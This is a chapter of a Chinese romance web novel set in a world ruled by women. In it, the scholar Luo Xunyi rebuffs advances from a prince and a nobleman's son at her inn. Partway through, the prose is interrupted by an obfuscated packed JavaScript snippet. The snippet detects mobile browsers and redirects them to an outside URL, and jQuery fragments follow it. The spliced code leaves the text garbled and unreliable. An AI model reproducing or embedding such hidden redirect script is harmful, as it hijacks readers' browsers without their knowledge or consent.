32. 女君今日陪我游湖可好

作品:《他只是一个柔弱的男人(女尊)

    翌日。


    今日难得没有下雨,转而出了太阳。


    站在窗户边上的骆荀一突然发觉立春已经过去。


    她细细数着,还有一个月。


    一个月能发生很多事情,她再一次后悔没有选择晚点来京都。


    推开门,骆荀一才知道今天为什么如此安静。


    楼下有十几人,其中大部分都是晋瑞的侍从和护卫,夹缝其中的两个人是客栈的老板和小二。


    其中被护拥的一个人赫然是昨日的男人,晋瑞。


    她站在楼梯旁边,罕见地觉得天都塌了。她的大脑一时有些迟钝,甚至都不想思考。


    昨日的确算是得罪他了,只是没想到他动作这么快。


    这么记仇吗?不就是轻轻推了一下吗?拒绝也没什么好奇怪的吧,没有哪个女人会心甘情愿去给一个男人当情人,即便考中后连名声都毁了一半。


    虽然没把握当第一第二,但考中也并非不可能,她又不需要从他那里找捷径。


    楼下低头喝茶的男人听到侍从的回话后,抬头将目光锁定在她身上。


    他勾了勾唇,一副温柔端庄的模样,眼睛里却势在必得。


    站在二楼的骆荀一从沉思中惊醒过来,下楼后便见着掌柜和小二疯狂给她使眼色。


    快送走这尊佛!


    她看了一眼,随即走向晋瑞,微微俯身行揖礼,只穿着简单的衣着,没有一点花哨。头发也只是一条发带束着,随着俯身,青丝从肩膀上滑落到手臂上,人比青山。


    说是从深山里出来的道士也不为过。


    “殿下”


    长时间没出声,嗓音清朗又有些微哑,往日里的疏离冷漠也淡了许多。


    晋瑞这才站起来,让那些人离开,笑意盈盈地盯着她,伸手露出手心里的一枚玉佩。


    是她丢的。


    她垂眸盯着他手里的燕形玉佩,玉佩并不昂贵,只能算是一般。


    她有两个一模一样的玉佩,一个算是抵押暂放在刘越那里,一个现在就在晋瑞手上。


    一对玉佩是师长所赠,君子无故,玉不去身,就好比室无瓷不雅,人无瓷不贵。


    “殿下来找我只是还遗玉吗?”她开口,目光沉沉。


    晋瑞抬了抬手,旁边的侍从上前举起托盘,上面有一块绸布遮住了里面的物品。


    他掀开绸布,取出一枚白玉,然后将青玉放在上面,“怎么能说遗玉呢?女君赠我青玉,我当回以赠礼。”


    说完,晋瑞上前来,抬手抚了抚脸侧的碎发,宽大的袖摆褶在一块,悠悠地盯着她,嘴角微微上扬。


    “女君今日陪我游湖可好?”


    他伸手握住她的手指,慢慢覆上她的掌心,圆润的指甲轻轻滑了滑。


    举止看似轻柔,却带着不容反抗的强硬,相信她不会拒绝,不会拿命来反抗。


    他贴近她的手臂,嗅到她身上的气息,喉咙滑动了一下,指尖凑到了她的手腕,一副柔弱的模样。可男人却没有直接给她系上玉佩,出自于上位者的高傲,不容他主动去放低姿态。


    玉佩被他塞进了她的腰处,男人从头到尾都紧紧注视她,全然不在意她会做出什么拒绝的行为。


    等待着她做出妥协,缓和她那些强硬的姿态,对自己露出笑容和亲昵的动作,他只需要大方地忘记她之前那些冒犯的行为。


    “还望殿下把玉还给我。”


    可倚靠之人动了动,并没有他所想的那般对他露出笑容。她取下那枚白玉,强硬地塞回他的掌心,低眸直视他的眼睛,狭长的眼眸冷硬而直白。


    两人直视,盯着她的眼睛,晋瑞呆呆地望着,心跳不由地加速起来。


    不像之前那些人,他猛得一惊,呼吸变得凌乱起来,双手慌张似地要攥住她的手,却抓了一个空。


    再如何做出恭谨的姿态都没法制止他的行为,骆荀一后退一步,面容严肃。


    距离拉开,他显然愣了一下,慢慢攥紧手中的玉佩,扯了扯嘴角。


    “骨头再硬也有折断的时候,女君也不想还未得偿所愿便白白没了命吧?”晋瑞的笑意渐渐消失,面无表情地盯着她。


    得不到便毁掉,晋瑞从来不会委屈自己。


    空气中静了一秒,尽管屋内人被遣退离开,只剩下两三个侍从,没有人敢说话,都低垂着头。


    骆荀一:“……”


    她并不怀疑他说的话,这该死的权力就能把她给搞死。


    她委婉道,“殿下何必抓着我不放,我并没有得罪过您。”


    他突然笑了,还没等他继续说什么,外面就有人走了进来。


    “殿下也在这里啊?姐姐跟殿下很熟吗?”


    晋瑞侧身去看是谁,眼睛微微眯了眯。


    徐韫敌意地盯着晋瑞,“殿下来这做什么?”


    他随意望了望四周,目光最终停留在托盘上的玉佩。


    徐韫垂下来的手慢慢合拢,快步上前取过这枚玉佩。


    他低头打量着,“殿下是还玉的?我就代姐姐谢过殿下了。”


    他娇娇地凑到骆荀一旁边,也不把玉佩还给她。


    “姐姐?”晋瑞嘲讽地重复了这两个字,目光晦暗。


    徐韫歪头对着晋瑞,羞涩地说道,“殿下还不知道吧,姐姐决意要娶我,是我未来的妻主。姐姐说,高中后便来迎娶我,此生唯我一人。”


    说完,他便仰头望了骆荀一一眼,漂亮的眼眸期盼地盯着她,像是在期待迎娶的日子。


    骆荀一哑口无言,不知道该说什么。


    “那便是还没过礼。”晋瑞直勾勾盯着骆荀一,像是在审视她,犹如黏稠的毒液,“说这些是不是有些早了。”


    徐韫的笑意慢慢扩大,漆黑的眼眸却阴冷地注视他,“那又怎么了?殿下也该走了。”


    “按理说,若你未被取消婚约,也该称我一声哥哥,现在直白赶人走,是还在生气不满吗?”晋瑞面目温柔,刚刚的嚣张和跋扈没了影子,似笑非笑,“骆荀一不过是一个没有官职的普通人,你下嫁于她,是不是在说笑还是在使小性子?”


    “姐姐在我心中定然是十分好的,殿下何必为我担忧这些。”徐韫不满道,“殿下自然是在意这些的,否则也不会迟迟未嫁,拖到现在。”


    晋瑞如今已有20,未曾嫁人。


    晋瑞僵了脸,话语转向骆荀一,幽幽地盯着她,“骆荀一,你自己想好后果,不会真的傻到相信他的话,他愿意,徐国公可不会愿意。”


    骆荀一此刻如鲠在喉,箭在弦上。


    是啊,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14655901|154953||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    两个人都不能扯上关系。


    若跟晋瑞有关系,她便自发进入了五皇女一派,先不说名声会怎么样,就是他那样子,往后日子都很艰难,屈居人下,不得翻身。


    若跟徐韫有关系,徐国公若是个讲道理的人,也只是勒令她,若不讲,那真是连后悔的机会都不给。


    对此,她平静地说道,神情严肃,背脊挺直,“草民只愿穷毕生之所学,盼能经科举入仕,如此方不负圣贤之教诲、父母之期许、自身之壮志也。


    其余它想,不在我所想之列,纵历千磨万击,身如齑粉之险,以证赤忱无改,矢志不迁。


    草民与徐公子淡淡之交,与殿下相谈也只是草民之幸,萍水相逢。”


    站在两人之间的她竭力地扯清关系,后果如何也不管,破罐子破摔。


    再不济也可投靠她处,不过是要受人管辖,但也比如今的情况好。


    这算什么情况?骆荀一觉得荒唐离谱极了,如何也没有想到会因为男人而陷入这种危机。


    听清楚她什么意思,徐韫有些不满,为什么跟他扯关系扯得这么清楚。


    什么淡淡之交,合该是妻夫关系。现在不是,以后也会是。


    死也不愿意吗?晋瑞攥紧衣袖,面上依旧柔和。


    他缓缓说道,语气温柔,却有些咬牙切齿,“原是这样,我便不打扰了。”


    走之前,他又看了一眼骆荀一,视线落在徐韫身上,如何也想不到还有这一出。


    本以为此行顺利,他收一个入幕之宾也不会有人说什么。


    随着屋内的人离开,骆荀一的脸色并不好。


    她思索着,也许真的需要先选择一方庇佑,五皇女不行,那便只有三皇女。


    站在她旁边的少年轻轻扯了扯她的袖子,见她垂头看他,徐韫讨好地朝她笑了笑。


    “姐姐……”他声音软糯无辜。


    还没等他继续说什么,被赶到后堂的人已经出来,满脸惊疑地注视骆荀一。


    “骆女君,这怎么回事啊?”


    什么怎么回事。


    骆荀一打算再寻一个住处,这里没法再住下去。


    骆荀一侧身对着那些人说,满脸歉意,语气温和,“没什么事,只是问话而已。”


    说完,她侧身看向徐韫,缓和语气,“先出去再说吧。”


    客栈外。


    “为什么又来了?”


    少年低垂着眼眸,细白匀称的手搅着手帕,“我...我”


    “徐韫,我并没有说假话。”她好脾气说道,“你我身份有别。”


    说着,她不再保持温和的模样,反而冷硬起来,“不要再来找我。再来找我,我只会对你感到厌烦。”


    他愣了一下,有些委屈,“姐姐要这么狠心吗?”


    “我不是你姐姐,徐公子以后莫要乱说话了。”她退后一步,眉目疏离。


    “如果没有什么事情,我就先走了。”


    他瞪大了眼睛,低低地喊她,“姐姐把我一人留在这里,不怕我出什么意外吗?”


    她顿住,“你侍从呢?”


    “只有我一个人。”


    她随意应了一下,像是想到什么,伸出手来,“我的玉佩。”


    他呼吸乱了一下,“不要。”